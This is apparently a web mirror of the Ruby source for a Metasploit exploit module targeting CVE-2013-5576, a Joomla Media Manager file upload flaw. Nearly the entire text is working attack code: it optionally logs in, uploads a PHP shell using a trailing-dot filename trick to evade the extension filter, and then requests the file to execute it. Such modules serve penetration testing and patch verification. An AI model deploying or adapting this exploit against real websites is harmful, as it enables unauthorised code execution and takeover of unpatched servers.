Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/webapp/joomla_media_upload_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::FileDropper1011def initialize(info={})12super(update_info(info,13'Name' => "Joomla Media Manager File Upload Vulnerability",14'Description' => %q{15This module exploits a vulnerability found in Joomla 2.5.x up to 2.5.13, as well as163.x up to 3.1.4 versions. The vulnerability exists in the Media Manager component,17which comes by default in Joomla, allowing arbitrary file uploads, and results in18arbitrary code execution. The module has been tested successfully on Joomla 2.5.1319and 3.1.4 on Ubuntu 10.04. Note: If public access isn't allowed to the Media20Manager, you will need to supply a valid username and password (Editor role or21higher) in order to work properly.22},23'License' => MSF_LICENSE,24'Author' =>25[26'Jens Hinrichsen', # Vulnerability discovery according to the OSVDB27'juan vazquez' # Metasploit module28],29'References' =>30[31[ 'CVE', '2013-5576' ],32[ 'OSVDB', '95933' ],33[ 'URL', 'http://developer.joomla.org/security/news/563-20130801-core-unauthorised-uploads' ],34[ 'URL', 'http://www.cso.com.au/article/523528/joomla_patches_file_manager_vulnerability_responsible_hijacked_websites/' ],35[ 'URL', 'https://github.com/joomla/joomla-cms/commit/fa5645208eefd70f521cd2e4d53d5378622133d8' ],36[ 'URL', 'http://niiconsulting.com/checkmate/2013/08/critical-joomla-file-upload-vulnerability/' ],37[ 'URL', 'https://www.rapid7.com/blog/post/2013/08/15/time-to-patch-joomla' ]38],39'Payload' =>40{41'DisableNops' => true,42# Arbitrary big number. The payload gets sent as POST data, so43# really it's unlimited44'Space' => 262144, # 256k45},46'Platform' => ['php'],47'Arch' => ARCH_PHP,48'Targets' =>49[50[ 'Joomla 2.5.x <=2.5.13 / Joomla 3.x <=3.1.4', {} ]51],52'Privileged' => false,53'DisclosureDate' => '2013-08-01',54'DefaultTarget' => 0))5556register_options(57[58OptString.new('TARGETURI', [true, 'The base path to Joomla', '/joomla']),59OptString.new('USERNAME', [true, 'User to login with', '']),60OptString.new('PASSWORD', [true, 'Password to login with', '']),61])6263end6465def check66res = get_upload_form6768if res and (res.code == 200 or res.code == 302)69if res.body =~ /You are not authorised to view this resource/70vprint_status("Joomla Media Manager Found but authentication required")71return Exploit::CheckCode::Detected72elsif res.body =~ /<form action="(.*)" id="uploadForm"/73vprint_status("Joomla Media Manager Found and authentication isn't required")74return Exploit::CheckCode::Detected75end76end7778return Exploit::CheckCode::Safe79end8081def upload(upload_uri)82begin83u = URI(upload_uri)84rescue ::URI::InvalidURIError85fail_with(Failure::Unknown, "Unable to get the upload_uri correctly")86end8788data = Rex::MIME::Message.new89data.add_part(payload.encoded, "application/x-php", nil, "form-data; name=\"Filedata[]\"; filename=\"#{@upload_name}.\"")90post_data = data.to_s9192res = send_request_cgi({93'method' => 'POST',94'uri' => "#{u.path}?#{u.query}",95'ctype' => "multipart/form-data; boundary=#{data.bound}",96'cookie' => @cookies,97'vars_get' => {98'asset' => 'com_content',99'author' => '',100'format' => '',101'view' => 'images',102'folder' => ''103},104'data' => post_data105})106107return res108109end110111def get_upload_form112res = send_request_cgi({113'method' => 'GET',114'uri' => normalize_uri(target_uri.path, "index.php"),115'cookie' => @cookies,116'encode_params' => false,117'vars_get' => {118'option' => 'com_media',119'view' => 'images',120'e_name' => 'jform_articletext',121'asset' => 'com_content',122'author' => ''123}124})125126return res127end128129def get_login_form130131res = send_request_cgi({132'method' => 'GET',133'uri' => normalize_uri(target_uri.path, "index.php", "component", "users", "/"),134'cookie' => @cookies,135'vars_get' => {136'view' => 'login'137}138})139140return res141142end143144def login145res = send_request_cgi({146'method' => 'POST',147'uri' => normalize_uri(target_uri.path, "index.php", "component", "users", "/"),148'cookie' => @cookies,149'vars_get' => {150'task' => 'user.login'151},152'vars_post' => {153'username' => @username,154'password' => @password155}.merge(@login_options)156})157158return res159end160161def parse_login_options(html)162html.scan(/<input type="hidden" name="(.*)" value="(.*)" \/>/) {|option|163@login_options[option[0]] = option[1] if option[1] == "1" # Searching for the Token Parameter, which always has value "1"164}165end166167def exploit168@login_options = {}169@cookies = ""170@upload_name = "#{rand_text_alpha(rand(5) + 3)}.php"171@username = datastore['USERNAME']172@password = datastore['PASSWORD']173174print_status("Checking Access to Media Component...")175res = get_upload_form176177if res and (res.code == 200 or res.code == 302) and !res.get_cookies.empty? and res.body =~ /You are not authorised to view this resource/178print_status("Authentication required... Proceeding...")179180if @username.empty? or @password.empty?181fail_with(Failure::BadConfig, "#{peer} - Authentication is required to access the Media Manager Component, please provide credentials")182end183@cookies = res.get_cookies.sub(/;$/, "")184185print_status("Accessing the Login Form...")186res = get_login_form187if res.nil? or (res.code != 200 and res.code != 302) or res.body !~ /login/188fail_with(Failure::Unknown, "#{peer} - Unable to Access the Login Form")189end190parse_login_options(res.body)191192res = login193if not res or res.code != 303194fail_with(Failure::NoAccess, "#{peer} - Unable to Authenticate")195end196elsif res and (res.code == 200 or res.code == 302) and !res.get_cookies.empty? and res.body =~ /<form action="(.*)" id="uploadForm"/197print_status("Authentication isn't required.... Proceeding...")198@cookies = res.get_cookies.sub(/;$/, "")199else200fail_with(Failure::UnexpectedReply, "#{peer} - Failed to Access the Media Manager Component")201end202203print_status("Accessing the Upload Form...")204res = get_upload_form205206if res and (res.code == 200 or res.code == 302) and res.body =~ /<form action="(.*)" id="uploadForm"/207upload_uri = Rex::Text.html_decode($1)208else209fail_with(Failure::Unknown, "#{peer} - Unable to Access the Upload Form")210end211212print_status("Uploading shell...")213214res = upload(upload_uri)215216if res.nil? or res.code != 200217fail_with(Failure::Unknown, "#{peer} - Upload failed")218end219220register_files_for_cleanup("#{@upload_name}.")221print_status("Executing shell...")222send_request_cgi({223'method' => 'GET',224'uri' => normalize_uri(target_uri.path, "images", @upload_name),225})226227end228end229230231